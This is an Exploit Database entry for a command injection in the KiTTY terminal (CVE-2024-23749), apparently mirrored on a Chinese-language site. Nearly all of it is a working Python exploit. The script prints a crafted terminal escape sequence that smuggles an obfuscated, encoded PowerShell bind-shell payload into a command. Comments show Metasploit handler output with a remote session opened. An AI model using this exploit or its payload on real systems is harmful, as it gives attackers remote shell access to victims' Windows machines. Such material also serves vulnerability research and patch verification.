KiTTY 0.76.1.13 – Command Injection

Exploit Database
138 阅读

作者： DEFCESCO

日期： 2024-03-14
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/51892/

# Exploit Title: KiTTY 0.76.1.13 - Command Injection

# Exploit Author: DEFCESCO (Austin A. DeFrancesco)

# Vendor Homepage: https://github.com/cyd01/KiTTY/=

# Software Link: https://github.com/cyd01/KiTTY/releases/download/v0.76.1.13/kitty-bin-0.76.1.13.zip

# Version: ≤ 0.76.1.13

# Tested on: Microsoft Windows 11/10/8/7/XP

# CVE: CVE-2024-23749

#-------------------------------------------------------------------------------------#

# Blog: https://blog.DEFCESCO.io/Hell0+KiTTY

#-------------------------------------------------------------------------------------#

# msf6 payload(cmd/windows/powershell_bind_tcp) > to_handler #

# [*] Payload Handler Started as Job 1 #

# msf6 payload(cmd/windows/powershell_bind_tcp) >#

# [*] Started bind TCP handler against 192.168.100.28:4444 #

# [*] Powershell session session 1 opened (192.168.100.119:36969 -> 192.168.100.28:4444) #

#----------------------------------------------------------------------------------------#

import os

import sys

#-----------------------------------------------------------------#

# msf6 payload(cmd/windows/powershell_bind_tcp) > generate -f raw #

#-----------------------------------------------------------------#

shellcode = b'powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create'

shellcode += b'((New-Object System.IO.StreamReader(New-Object System.IO.Compression.G'

shellcode += b'zipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBa'

shellcode += b'se64String(((\'H4sIAE7efGUCA5VVTW/b{2}BC{1}+1cMD{2}1GQiTCDXoKkGJdNV0Ey'

shellcode += b'LZGlTYHw0BoahxrQ5NekoptJP7vJSXqw3\'+\'GCbXWwJc7w8fHNG3JRCmYKKeBvNMktzh'

shellcode += b'kvUBgYPA3APsGG\'+\'wQV8wU3ydf4vMgPJzW6NX+gK7aAhNj+t8ptk8l3jJ1zQkptUYW4'

shellcode += b'jBeXa\'+\'QgRGld\'+\'hmTZTc7siLDDveG2lyB/vBoqG4lhtU{1}suygyo+oYquwvp{1'

shellcode += b'}mhlViPtZkMrVioo8PhzNNGdSvBj8JDeCS5pXo5HHVJKh1u\'+\'AFWMm85{2}gI/hVGUK'

shellcode += b'cUCwibZSDB/2A4L0Q+jKpgPa+aywttUKCy\'+\'k6fZzr6viFMtk+wBjSY3bH3tM2bv7XM'

shellcode += b'8kWhDlXHr\'+\'+pWrqC/RRS{1}vzBiujQWsyxHWVPZv0VX4iErjMeMWulfy15inE7/QcB'

shellcode += b'g76n6{1}Qa2ZNgrpyhGs8Yj1VlaNWWIdpbokNSNnj6GvQI+P1jxrwN6ghKxUhdmRrEkN/f'

shellcode += b'pxsLA+wjh8Cm4s+h4SqmF6M{2}cbrqTBFJUpFgWjBn{1}QXuTUmS2lnM8pe5hF0St0yLg0'

shellcode += b'S+dUN2ms{2}zECUXIeDw3X786GnkEfoFWm21lfuul8Z3A6mwXu35luRMjZyD7PfzyN{\'+'

shellcode += b'\'1}l5dFHkTDqcGt4agYDJ3jj4/H2fp1VXkFP/ocsLhrbWm3GiYu{2}bJlsg5qFIImw\'+'

shellcode += b'\'1Wj1Jbew7hFAIUj+fuS7jmPrVjtjRtgMnVujRd8E6kcr\'+\'1Txf3SQJhG8E/BlNRyY'

shellcode += b'SCVai1VJSGBsVvMJWlQaLEfMSd34k5443k5yK0tBobdxuJR3H2Qax\'+\'T3Ztk3Tt{2}2'

shellcode += b'fesc{2}ef3VJqezuDaQjpZfMuTlufvc21mfZbqkrKl5VyDQiHaI6XL6mi7Jzw4iSPS7LY+'

shellcode += b'tBqk6PlKPMoHTC63a6uttnq3KPu+pTbLgmMYBkXlunoT35DmYe2xGEYxBAfsI0gEwuhI0k'

shellcode += b'unH+Y3Vsu3LgXfmC6FVBpfes07FNte1FHpofnzodpd\'+\'IyoERfSimrYbXTGP{1}g1Jc'

shellcode += b'7\'+\'jV4Gcf/nwHz/C1NEmNCt48B1BnUAnSAJ/CySSDE/tf6X8tWeXhiEyoWbroBzjpQL'

shellcode += b'a{2}SIBKSTUdzQ4W67Gu4oRxpCqMXmNw0f+wrbYdHBv4l/zbwfyvY/uGPfJrM+czL/Wyve'

shellcode += b'/8weMP85RLjX4/VTs2t1DfMN3VlBm5bu4j/2ud2V7lbe3cFfoTVXnPBo0IAAA{0}\')-f'

shellcode += b'\'=\',\'9\',\'O\')))),[System.IO.Compression.CompressionMode]::Decompr'

shellcode += b'ess))).ReadToEnd()))\"'

escape_sequence = b'\033]0;__rv:'

escape_sequence += b'" & '

escape_sequence += shellcode

escape_sequence += b' #\007'

stdout = os.fdopen(sys.stdout.fileno(), 'wb')

stdout.write(escape_sequence)

stdout.flush()